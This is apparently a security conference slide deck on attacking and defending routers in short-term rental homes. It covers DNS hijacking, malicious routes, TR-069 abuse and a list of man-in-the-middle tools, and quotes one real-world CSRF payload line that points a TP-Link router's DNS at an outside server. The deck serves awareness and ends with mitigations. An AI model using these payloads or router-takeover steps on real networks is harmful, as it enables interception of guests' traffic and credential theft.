AirBnBeware:
short-term rentals, long-term pwnage

Presented by Jeremy Galloway
Jeremy Galloway

I solve security problems -- occasionally there are computers involved. Current community affiliations include:

(ISC)² • ISSA • OWASP • OffSec
InfraGaurd • AHA! • HoneyNet
Tor Project • Citizen Lab • BSides
Internet Storm Center • SANS
SecurityTube • ShadowServer
Friends of the EFF • IEEE • ISSW
Index of Cyber Security

[REDACTED]
High-level takeaways
High-level takeaways

Short-term rentals have become so popular that their attack surface can no longer be ignored

Exposure to unsecured networks increases risk

Home networking hardware is worth targeting

The biggest threats are simple, not sophisticated

Most risk is mitigated when physical access to network hardware is restricted
High-level takeaways

Short-term rentals have become so popular that their attack surface can no longer be ignored.

Exposure to unsecured networks increases risk.

Home networking hardware is worth targeting.

The biggest threats are simple, not sophisticated.

Most risk is mitigated when physical access to network hardware is restricted.
High-level takeaways

Short-term rentals have become so popular that their attack surface can no longer be ignored.

Exposure to unsecured networks increases risk.

Home networking hardware is worth targeting.

The biggest threats are simple, not sophisticated.

Most risk is mitigated when physical access to network hardware is restricted.
High-level takeaways

Short-term rentals have become so popular that their attack surface can no longer be ignored.

Exposure to unsecured networks increases risk.

Home networking hardware is worth targeting.

The biggest threats are simple, not sophisticated.

Most risk is mitigated when physical access to network hardware is restricted.
High-level takeaways

Short-term rentals have become so popular that their attack surface can no longer be ignored.

Exposure to unsecured networks increases risk.

Home networking hardware is worth targeting.

The biggest threats are simple, not sophisticated.

Most risk is mitigated when physical access to network hardware is restricted.
High-level takeaways

Short-term rentals have become so popular that their attack surface can no longer be ignored.

Exposure to unsecured networks increases risk.

Home networking hardware is worth targeting.

The biggest threats are simple, not sophisticated.

Most risk is mitigated when physical access to network hardware is restricted.
When things go Bump in the Network

[Origins of this talk]
Short-term rental market
Brave New World
The Sharing Economy
Brave New World
The Sharing Economy

I NEED...

YOU HAVE...

EFFICIENCY

TRUST
Brave New World
The Sharing Economy

[Logos of various sharing economy companies]
PwC nailed it
AirBnB: Up, Up, and Away!
Short-term rentals are becoming more important in the US tourism industry.

One estimate puts the size of the domestic vacation rental market at $100 billion.

The number of people that have used a short-term rental has doubled in less than four years.
Short-term rentals are becoming more important in the US tourism industry. One estimate puts the size of the domestic vacation rental market at $100 billion.
Short-term rentals are becoming more important in the US tourism industry.

One estimate puts the size of the domestic vacation rental market at $100 billion.

The number of people that have used a short-term rental has doubled in less than four years.
Short-term rentals are becoming more important in the US tourism industry.

One estimate puts the size of the domestic vacation rental market at $100 billion.

The number of people that have used a short-term rental has doubled in less than four years.
Let’s check those numbers again
Market Size in Billions (2015)

Short-term rentals shown in green
Airbnb Inc. lined up investors for a new funding round and an employee stock sale that will value the room-rental website at up to $30 billion and help defer an initial public offering, said people familiar with the matter.
NUMBER OF GUESTS STAYING WITH AIRBNB HOSTS DURING THE SUMMER

- 2010: 0
- 2011: 1M
- 2012: 5M
- 2013: 10M
- 2014: 15M
- 2015: 17M
More guests traveled on Airbnb this summer than the entire population of Greece, Sweden, or Switzerland.
Listings Targets everywhere

- Total Guests: 60,000,000+
- Cities: 34,000+
- Castles: 1,400+
- Countries: 191+
Listings Targets everywhere
Global Comparison:

- 350,000 Gas stations
- 187,000 Hotels
- 35,000 McDonalds
- 34,000 Subways
- 23,000 Starbucks
- 15,000 Burger Kings
- 11,500 Wal-Marts
Listings Targets everywhere

2,000,000+
Which Cities Have The Most Airbnb Listings?
Number of Airbnb listings in cities worldwide in 2016*

<table>
<thead>
<tr>
<th>City</th>
<th>Listings</th>
</tr>
</thead>
<tbody>
<tr>
<td>Paris</td>
<td>78,000</td>
</tr>
<tr>
<td>London</td>
<td>47,000</td>
</tr>
<tr>
<td>New York</td>
<td>46,000</td>
</tr>
<tr>
<td>Rio de Janeiro</td>
<td>33,000</td>
</tr>
<tr>
<td>Los Angeles</td>
<td>26,000</td>
</tr>
<tr>
<td>Barcelona</td>
<td>23,000</td>
</tr>
<tr>
<td>Rome</td>
<td>23,000</td>
</tr>
<tr>
<td>Copenhagen</td>
<td>20,000</td>
</tr>
<tr>
<td>Sydney</td>
<td>20,000</td>
</tr>
<tr>
<td>Amsterdam</td>
<td>17,000</td>
</tr>
</tbody>
</table>

* Listing refers to entire flats, private rooms and shared rooms

Source: Airbnb Data & Analytics
Airbnb Raises Over $100 Million as It Touts Strong Growth

Home-rental service posted $340 million of third-quarter revenue
Airbnb Raises Over $100 Million as It Touts Strong Growth
Home-rental service posted $340 million of third-quarter revenue

Exclusive: Airbnb to double bookings to 80 million this year - investors
SAN FRANCISCO | BY HEATHER SOMERVILLE
Airbnb Raises Over $100 Million as It Touts Strong Growth

Home-rental service posted $340 million of third-quarter revenue

Exclusive: Airbnb to double bookings to 80 million this year - investors

SAN FRANCISCO | BY HEATHER SOMERVILLE

Airbnb Raises $1.5 Billion in One of Largest Private Placements

Home-rental service valued at $25.5 billion
Revenue of AirBnB in New York City from 2010 to 2018 (millions)

© Statista 2016
Financial forecasting with Weezy
tl;dr
Not every headline inspires confidence

Airbnb hosts could be targeted by identity thieves: report

Though there isn't a direct link, 40% of survey respondents admitted to snooping while staying in homes they visit

June 29, 2016 08:30AM
WHAT TIME IS IT?

BUSINESS TIME
Travel for work, feel at home
Be your best self when you’re on the road.

Link your work email to your account  Add Email
Corporate Ready

The perks of using Airbnb for Business

It’s easy to expense or charge work trips

If your company is signed up for Airbnb for Business, you can charge trips directly to them.

Stay at Business Travel Ready listings

Stay with hosts who upgraded their services and amenities to welcome business travelers.

Get $50 for any Airbnb stay

On your first Airbnb business trip, we’ll send you a $50 coupon for any Airbnb stay.
Aggressive Loss-Leader Promos

Earn $50 in travel credit

Get a $50 travel credit, good for any Airbnb, when you check in for your first Airbnb business trip.

Link your work email to your account Add Email
Short-term rental biz be like

HA HA!

BUSINESS!
When was the last time you personally updated your router’s security?
Getting into the attacker mindset

SSID: AirBnBeware
Wireless Security: Open
Admin Pass: blank
Getting into the attacker mindset

Have fun
Play nice 😊
Google: dlink emulator

DIR-655 Emulator Selector - D-Link Support
support.dlink.com/emulators/dir655/
Please select an image below to access the desired emulator. DIR-655 Device UI · DIR-655 Device UI. DIR-655 SecureSpot UI · DIR-655 SecureSpot UI.

EMULATOR | HOME - D-Link Support
support.dlink.com/emulators/dir615_revc/310na/tools_admin.htm
ADMINISTRATOR SETTINGS. The 'admin' and 'user' accounts can access the management interface. The admin has read/write access and can change ...

DAP-1522 Emulator Selector - D-Link Support
support.dlink.com/emulators/dap1522/
Please select an image below to access the desired emulator. DAP-1522 AP Mode · DIR-655 Device UI. DAP-1522 Bridge Mode · DIR-655 SecureSpot UI.
Google: dlink emulator
Scale of Trust

- Untrusted (yolo)
- Somewhat trusted
- Mostly trusted
Scale of Trust

Your personal home network

Untrusted (yolo)  Somewhat trusted  Mostly trusted
Scale of Trust

A university network

Untrusted (yolo)  Somewhat trusted  Mostly trusted
Scale of Trust

Rando hotel kiosk

Untrusted (yolo)  Somewhat trusted  Mostly trusted
Scale of Trust

AirBnB rental network

0  Somewhat trusted  100

Beware  Somewhat trusted  Mostly trusted
Local clients: laptops, desktops, phones

ISP

The internet

Home network

Local clients: laptops, desktops, phones
Countermeasures

- Anti-virus
- EMET (anti-exploitation)
- End-point agent (telemetry)
- Local security policies
- Code signing

Local clients: laptops, desktops, phones
Local clients: laptops, desktops, phones

Home network

ISP

The internet
Countermeasures

- Certificates
- Firewalls
- Bug bounties
- HSTS / HPKP
- Input filtering + validation
Home network

Local clients: laptops, desktops, phones

The internet

ISP
Countermeasures

Password protected admin panel
Lack of physical access

Home network
Countermeasures

- Password protected admin panel
- Lack of physical access
Exposure to unsecured networks
Sexual Exposure Calculator
How Many Partners Have You Been Indirectly Exposed to?

Type or select your location

Country: United States of America
State: TX
City: Austin

How many partners have you had? 7
On average, how many partners have each of your partners had before you? 4

Calculate Exposure
<table>
<thead>
<tr>
<th>SEXUAL EXPOSURE: You have been indirectly exposed to partners</th>
</tr>
</thead>
<tbody>
<tr>
<td>EQUIVALENT EXPOSURE: Your sexual exposure equates to 1.05% of the population of Austin, TX</td>
</tr>
</tbody>
</table>
SEXUAL EXPOSURE: You have been indirectly exposed to 9,555 partners.

EQUIVALENT EXPOSURE: Your sexual exposure equates to 1.05% of the population of Essex Junction, VT.
Exposure was derived using established formulas for a finite geometric series.

\[
\text{sexual exposure} = n \left( \frac{1-n_p^6}{1-n_p} \right)
\]

\( n = \text{number of partners you have had} \)

\( n_p = \text{number of partners your partners have had before you} \)
Think twice before having an unprotected ‘one network stand’
Scale of Trust

AirBnB rental network

Beware

Somewhat trusted

Mostly trusted
SoHo routers: A worthy target
Carna Botnet ~420K Clients 2012
“The vast majority of all unprotected devices are consumer routers or set-top boxes…”
OSX.RSPlug.A Trojan 2007

INTEGO SECURITY ALERT - October 31, 2007
OSX.RSPlug.A Trojan Horse Changes Local DNS Settings to Redirect to Malicious DNS Servers

Download warning:
“ultracodec1237.dmg” contains an application.
Are you sure you want to continue downloading “ultracodec1237.dmg”?

DNS Servers:
134.168.250
134.134.251
168.88

Quicktime Player is unable to play movie file. Please click here to download new version of codec.
Operation Ghost Click
DNSChanger ~4M clients
2007-2011 ~$14M profit
CERT Polska 2013
DNS changing malware
MitM Polish online banking users
Real-World CSRF attack hijacks DNS Server configuration of TP-Link routers

document.writeln('<style type="text/css">@import url(http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6);</style>')
‘TheMoon’ worm 2014

Bizarre attack infects Linksys routers with self-replicating malware

Some 1,000 devices have been hit by the worm, which seeks out others to infect.

“The router situation is as touchy as a gasoline spill in an enclosed shopping mall.”

-Dan Geer
“the malware now uses a proxy auto-config (PAC) file...we can see a list of website hashes that the malware monitors for credentials phishing”
“Crippling HTTPS with unholy PAC” + “badWPAD”
Blackhat 2016

“Toxic Proxies - Bypassing HTTPS and VPNs to Pwn Your Online Identity”
DEF CON 24 (2016)

RISK ASSESSMENT —

New attack that cripples HTTPS crypto works on Macs, Windows, and Linux

Hack can be carried out by operators of Wi-Fi hotspots, where HTTPS is needed most.

DAN GOODIN - 7/26/2016, 12:14 PM
Abuse of Customer Premise Equipment
BHUSA 2014
Abuse of Customer Premise Equipment
BHUSA 2014

Threats that abuse CPE (I)

The home router is a network proxy for most things on your home network
So own that and you control even well-defended devices on the home network

DNS changer botnet
- Attempted to reconfigure home router DNS server to only use adversary's DNS server
- See FBI's "Operation Ghost Click"
Average Paperclip Threat, The new APT
Ease of Attack:
I am APT and so can you!

APT: Average Paperclip Threat
Protected by lulz
Protected by lulz
R.I.P Your network security
R.I.P Your network security
What’s old is new again
What’s old is new again

NETWORK
HACKINGS
NOT DEAD
Home routers: Security not included

SOHOpelessly BROKEN

Router Hacking Contests and More
<table>
<thead>
<tr>
<th>2Wire</th>
<th>Belkin</th>
<th>EE</th>
<th>Observa</th>
<th>Sitel</th>
<th>Ubiquiti</th>
</tr>
</thead>
<tbody>
<tr>
<td>3Com</td>
<td>Binatone</td>
<td>Fibrehome</td>
<td>Pirelli</td>
<td>SMC</td>
<td>Unicorn</td>
</tr>
<tr>
<td>Alcatel-Lucent</td>
<td>Cisco</td>
<td>Freebox</td>
<td>Rom-O</td>
<td>Starbridge</td>
<td>UTStarcom</td>
</tr>
<tr>
<td>Alphas-Networks</td>
<td>Cobham</td>
<td>Huawei</td>
<td>RugeddCom</td>
<td>Technicolor</td>
<td>Xavi</td>
</tr>
<tr>
<td>Arris</td>
<td>Comtrend</td>
<td>Linksys</td>
<td>Sagem</td>
<td>Thomson</td>
<td>Zhone</td>
</tr>
<tr>
<td>Asmax</td>
<td>D-Link</td>
<td>MiFi</td>
<td>Seagate</td>
<td>TP-LINK</td>
<td>Zoom</td>
</tr>
<tr>
<td>Asus</td>
<td>DD-WRT</td>
<td>Motorola</td>
<td>Siemens</td>
<td>TRENDSnet</td>
<td>ZTE</td>
</tr>
<tr>
<td>Astoria</td>
<td>EasyBox</td>
<td>Netgear</td>
<td>Sitecom</td>
<td>Ubee / Ambit</td>
<td>ZyXEL</td>
</tr>
</tbody>
</table>

Search: [Show / hide columns]
A week or so ago, I read the news of a new backdoor on several devices, including those made by Belkin, Cisco, NetGear, Linksys, and several others. A list of what seems to be affected devices can be found here. Eloï Vanderbeeken, who posted his findings on GitHub made the original discovery. He also wrote a useful python proof-of-concept exploit, which allowed command injection, but I wanted Metasploit integration.
Home routers: Security not included

Compromising Embedded Linux Routers with Metasploit

Blog Post created by juan.vazquez on Apr 4, 2013
If a bored teenager can hack your network, you’re in trouble

Anarchaos, aged 18, DEFCON 2004
If a bored teenager can hack your network, you’re in trouble

c0mrade, aged 15, NASA hacks, 1999
If a bored teenager can hack your network, you’re in trouble

Jake (not shown), aged 14, Call of Duty 2, 2011
Attacks
Attacks:
Potential impacts of a compromised network

“...exposure of sensitive information, modification of trusted data, and injection of data.”
Attacks
Remote Administration

**ADMINISTRATION**

- Enable Graphical Authentication: ✔
- Enable HTTPS Server: ✔
- Enable Remote Management: ✔
- Remote Admin Port: 37961
- Use HTTPS: ✔
- Remote Admin Inbound Filter: remote_hack_adm
- Details: Allow 54.0.0.0-54.255.255.255
Attacks
Remote Administration

INBOUND FILTER RULES LIST

<table>
<thead>
<tr>
<th>Name</th>
<th>Action</th>
<th>Remote IP Range</th>
</tr>
</thead>
<tbody>
<tr>
<td>remote_hack_adm</td>
<td>Allow</td>
<td>54.0.0.0-54.255.255.255</td>
</tr>
</tbody>
</table>

OPSEC++
Attacks
Just listen and wait
Attacks
Just listen and wait
Attacks
Download router config to extract credentials

SYSTEM -- BACKUP SETTINGS

Back up DSL Router configurations. You may save your router configurations to a file on your PC. **Note: Please always save configuration file first before viewing it.**

Backup Settings
Attacks
Download router config to extract credentials

ISP
ADSL
L2TP
PPTP
PPPOE
DDNS
WEP/WPA
Login
### Attacks
Malice Level: Troll
Website blocking

<table>
<thead>
<tr>
<th>Website URL/Domain</th>
<th>Website URL/Domain</th>
</tr>
</thead>
<tbody>
<tr>
<td>Facebook.com</td>
<td>Google.com</td>
</tr>
<tr>
<td>Youtube.com</td>
<td>Amazon.com</td>
</tr>
<tr>
<td>Wikipedia.org</td>
<td>Twitter.com</td>
</tr>
</tbody>
</table>
Attacks
Malice Level: Troll
Parental Controls

PARENTAL CONTROL
Options to improve the speed and reliability of your Internet connection, to apply content filtering and to protect you from phishing sites. Choose from pre-configured bundles or register your router with OpenDNS® to choose from 50 content categories for custom blocking.

Save Settings  Don't Save Settings
Attacks
Malice Level: Troll
Reducing speed

**WAN TRAFFIC SHAPING**

Enable Traffic Shaping: ✔
Automatic Uplink Speed: 
Measured Uplink Speed: Not Estimated
Manual Uplink Speed: 128 kbps
Connection Type: Cable Or Other Broadband Network
Detected xDSL or Other Frame Relay Network: No
Attacks
Expose hosts on the DMZ (outside of the router/firewall)

DMZ HOST

The DMZ (Demilitarized Zone) option lets you set a single computer on your network outside of the router. If you have a computer that cannot run Internet applications successfully from behind the router, then you can place the computer into the DMZ for unrestricted Internet access.

Note: Putting a computer in the DMZ may expose that computer to a variety of security risks. Use of this option is only recommended as a last resort.

Enable DMZ: ☑️

DMZ IP Address: 192.168.0.100

Computer Name ➔
Attacks
Reducing security

WI-FI PROTECTED SETUP

Enable: ✔
Lock Wireless Security
Settings: 

Reset to Unconfigured

PIN SETTINGS

Current PIN: 42599500
Generate New PIN  Reset PIN to Default
Attacks
Control network time

**AUTOMATIC TIME CONFIGURATION**

- **Enable NTP Server**: ✔
- **NTP Server Used**: time.trustme.com

[Select NTP Server]
Attacks
Firmware modification
Skill Level: Advanced

FIRMWARE UPGRADE

Note: Some firmware upgrades reset the configuration options to the factory defaults. Before performing an upgrade, be sure to save the current configuration from the Tools → System screen.

To upgrade the firmware, your PC must have a wired connection to the router. Enter the name of the firmware upgrade file, and click on the Upload button.
Attacks
Remote Administration (advanced)

TR-069 CLIENT -- CONFIGURATION

Inform  ○ Disable ○ Enable
Inform Interval: 300
ACS URL: beware.trustme.com
ACS User Name: admin
ACS Password: ************
Connection Request Authentication
Connection Request User Name: admin-beware
Connection Request Password: ........................
Attacks
Remote Administration (advanced) via TR-069
## Routing

This Routing page allows you to specify custom routes that determine how data is moved around your network.

### Save Settings

### Don't Save Settings

## Route List

<table>
<thead>
<tr>
<th>Name</th>
<th>Destination IP</th>
<th>Metric</th>
<th>Interface</th>
</tr>
</thead>
<tbody>
<tr>
<td>MITM</td>
<td>0.0.0.0</td>
<td>1</td>
<td>WAN</td>
</tr>
<tr>
<td>Netmask</td>
<td>0.0.0.0</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Gateway</td>
<td>54.109.87.19</td>
<td></td>
</tr>
</tbody>
</table>
### Attacks

**MitM via route hop**

<table>
<thead>
<tr>
<th>ROUTING -- STATIC ROUTE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Allows you to manually configure special routes that your network might need.</td>
</tr>
<tr>
<td>Static Route</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>ROUTING -- DEFAULT GATEWAY</th>
</tr>
</thead>
<tbody>
<tr>
<td>Allows you to configure Default Gateway used by WAN Interface.</td>
</tr>
<tr>
<td>Default Gateway</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>ROUTING -- RIP</th>
</tr>
</thead>
<tbody>
<tr>
<td>Allows you to configure RIP (Routing Information Protocol).</td>
</tr>
<tr>
<td>RIP</td>
</tr>
</tbody>
</table>
Attacks
MitM via route hop

```
root@kal:/pcaps# tcpdump -i eth0 -vv
 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
19:11:56.428040 IP (tos 0x0, ttl 64, id 29936, offset 0, flags [DF], protocol UDP (17), length 55)
   kal.42545 > gateway.domain: [bad udp cksum 0x36dd -> 0x0e0a!] 21475+ A? ipinfo.io. (27)
19:11:56.428151 IP (tos 0x0, ttl 64, id 29937, offset 0, flags [DF], protocol UDP (17), length 55)
   kal.42545 > gateway.domain: [bad udp cksum 0x36dd -> 0x1129!] 13764+ AAAA? ipinfo.io. (27)
19:11:56.428575 IP (tos 0x0, ttl 64, id 29938, offset 0, flags [DF], protocol UDP (17), length 71)
   kal.51365 > gateway.domain: [bad udp cksum 0x36ed -> 0xc0c7!] 8489+ PTR? 2.111.16.172.in-addr.arpa. (43)
19:11:56.453036 IP (tos 0x0, ttl 128, id 10500, offset 0, flags [none], protocol UDP (17), length 103)
```
# Attacks

## Owning DNS

<table>
<thead>
<tr>
<th>DNS SERVER CONFIGURATION</th>
</tr>
</thead>
<tbody>
<tr>
<td>Obtain DNS server address automatically</td>
</tr>
<tr>
<td>Use the following DNS server addresses</td>
</tr>
<tr>
<td>Preferred DNS server : 54.16.108.32</td>
</tr>
<tr>
<td>Alternate DNS server : 8.8.8.8</td>
</tr>
</tbody>
</table>
When the attacker gains control of DNS
Owning DNS: Attacks

HTTP/S downgrade
Sniff plain-text creds (passive)
Pharming (FakeDNS)
WPAD abuse
Hash capture (http_ntlm)
BEEF hooks
Browser Autopwn2
Evilgrade (malicious updates)
BDFProxy (MitM binary patching)
Owing DNS: Attacks

“If an attacker registers a domain to answer leaked WPAD queries and configures a valid proxy, there is potential to conduct man-in-the-middle (MitM) attacks across the internet.”
Owing DNS: Attacks

So many great options! How to choose?
Owning DNS: Attacks

- No 0day ✓
- Almost zero exploit code (!autopwn2) ✓
- Pre-built tools ✓
- Little infrastructure needed (AWS free) ✓
- Attacks are cross-platform ✓
- Attacks are easy to perpetrate ✓
- Attacks can be passive + automated ✓
- Attacks can be difficult to detect ✓
- Logs of attacks can be easily wiped ✓
Owing DNS: Attacks
A very simple demonstration

DYNAMIC IP (DHCP) INTERNET CONNECTION TYPE:

Use this Internet connection type if your Internet Service Provider (ISP) didn’t provide you with IP Address information and/or a username and password.

Host Name: 
Use Unicasting: [ ] (compatibility for some DHCP Servers)
Primary DNS Server: 52.94.12.133
Secondary DNS Server: 8.8.8.8
MTU: 1500 (bytes) MTU default = 1500
MAC Address: a0:99:9b:0b:e1:f1

Clone Your PC's MAC Address
Owning DNS: Attacks
Captive portal NTLM hash capture
Owning DNS: Attacks
Captive portal NTLM hash capture
Wide range of attack styles, can vary from:

- Nuanced to Direct
- Subtle to Aggressive
- Opportunistic to Persistent
- Generic to Personalized
- Simple to Sophisticated
- Passive to Invasive
- Annoying to Devastating
Attacker types

Bored teen  
Tech savvy miscreant  
Trolls  
Grey hat  
Full blown black hat  
Hacktivist  
Evil property owner  
Motivated criminal  
Opportunistic criminal
Semi-targeted attacks

Conferences
Tradeshows
Sporting events
Specific locales (DC Beltway, Silicon Valley)
Holiday destinations
High end rentals for high end targets
Near military bases
Near corporate offices

How would you target?
Attacks
Owning DNS
How ICANN secures your DNS

Locked cages, seismic sensors, smartcards, cameras, EMF blocking, safes, iris scanning
How you secure your DNS

Kittens, wishful thinking, lulz
How you secure your DNS Security?

‘Compu’er says no’
Protecting yourself
Mitigations for renters (technical)

Hardcode DNS in all devices
Mitigations for renters (technical)
Hardcode DNS in all devices
Mitigations for renters (technical)
Ensure ‘Automatic proxy setup’ is disabled
Mitigations for renters (technical)
Ensure no unknown proxy is in use
Mitigations for renters (technical)
Trusted Free VPN
Mitigations for renters (technical)

Trusted Free VPN (w/limits)

<table>
<thead>
<tr>
<th>Desktop</th>
<th>Mobile</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mac 64-bit OSX 10.6.8 and later</td>
<td>iOS</td>
</tr>
<tr>
<td>Windows Vista and later</td>
<td>Android</td>
</tr>
</tbody>
</table>

Browser Extensions

Lightweight extensions that only tunnel data inside your browser.

- Chrome
  - For Chrome Browser 22+ on Windows, OSX, Linux and Chrome OS
- Opera
  - For Opera Browser on Windows and OSX
Mitigations for renters (technical)

Corporate VPN

Ensure WPAD/Proxy settings are correct

Corp VPNs typically use split-tunneling, which may leave large amounts of traffic unprotected
Mitigations for renters (technical)
Use mobile apps off WiFi
Mitigations for renters (technical)
Tether to 4G/LTE
Mitigations for renters (technical)

Never use plain-text auth

HTTP
FTP
Telnet
POP3
SMTP
LDAP
VNC

NOPE
Mitigations for renters (technical)
2FA/MFA everything you care about
https://twofactorauth.org

Two Factor Auth (2FA)
List of websites and whether or not they support 2FA.
Add your own favorite site by submitting a pull request on the GitHub repo.

Search websites
Mitigations for renters (behavioral)

Watch Mr. Robot
Mitigations for renters (behavioral)
Be skeptical and aware when travelling
Mitigations for renters (behavioral)
Demand HSTS + HPKP from providers
Mitigations for owners
Remove physical access to hardware
Lock in a closet or secure room
Mitigations for owners

Remove physical access to hardware
Lock in a closet or secure room (like R. Kelly)
Mitigations for owners
Remove physical access to hardware
Lock in an electronics enclosure
Mitigations for owners

Remove physical access to hardware

Lock in an electronics enclosure
Mitigations for owners
Remove physical access to hardware
Don’t offer internet access (gasp!)
Mitigations for owners

Never share your personal WiFi connection
Mitigations for owners

Backup and restore router settings routinely

SYSTEM -- BACKUP SETTINGS

Back up DSL Router configurations. You may save your router configurations to a file on your PC.

Note: Please always save configuration file first before viewing it.

Backup Settings
Mitigations for owners
Add an ‘Online Safety’ section to your Guest Welcome Guide
This is not going away any time soon
This is not going away any time soon

RFP discloses SQL injection in 1998
‘Year of the Breach’ 2011 - ?

--- [ Phrack Magazine  Volume 8, Issue 54 Dec 25th, 1998, article 08 of 12

----------------------------------[  NT Web Technology Vulnerabilities

--------[ rain.forest.puppy / [WT] <rfpuppy@iname.com>

*Note: most of the vulnerabilities in this document have NOT been made public; they were discovered by rain.forest.puppy, or other members of WT. Lots of new toys out there on the Internet lately. Seems like the web is the way to go, and every software spigot is demanding they be 'web-enabled'. A lot are reinventing the wheel, bundling sub-standard web servers to serve up their HTML and Java interface.
This is not going away any time soon
There is no patch, update, or easy fix
Conclusion & Takeaways

Be skeptical and stay aware when traveling, whether or not you stay at a rental

If the network is untrusted, use a VPN or 4G/LTE mobile network

Be cautious of ‘one network stands’

‘Average Paperclip Threats’ (APTs) are simple, but potentially devastating

Remove physical access to hardware if you 💖 security
Homework

Ask security pros and hackers at BH and DEF CON if they would use an AirBnB network without a VPN.

Ask how they secure their own devices when using random, unknown, or untrusted networks.
Thank you for your time!
Cheers 🤗👻🍕

JeremyNGalloway at gmail
EcstaticSec.tumblr.com
Q & A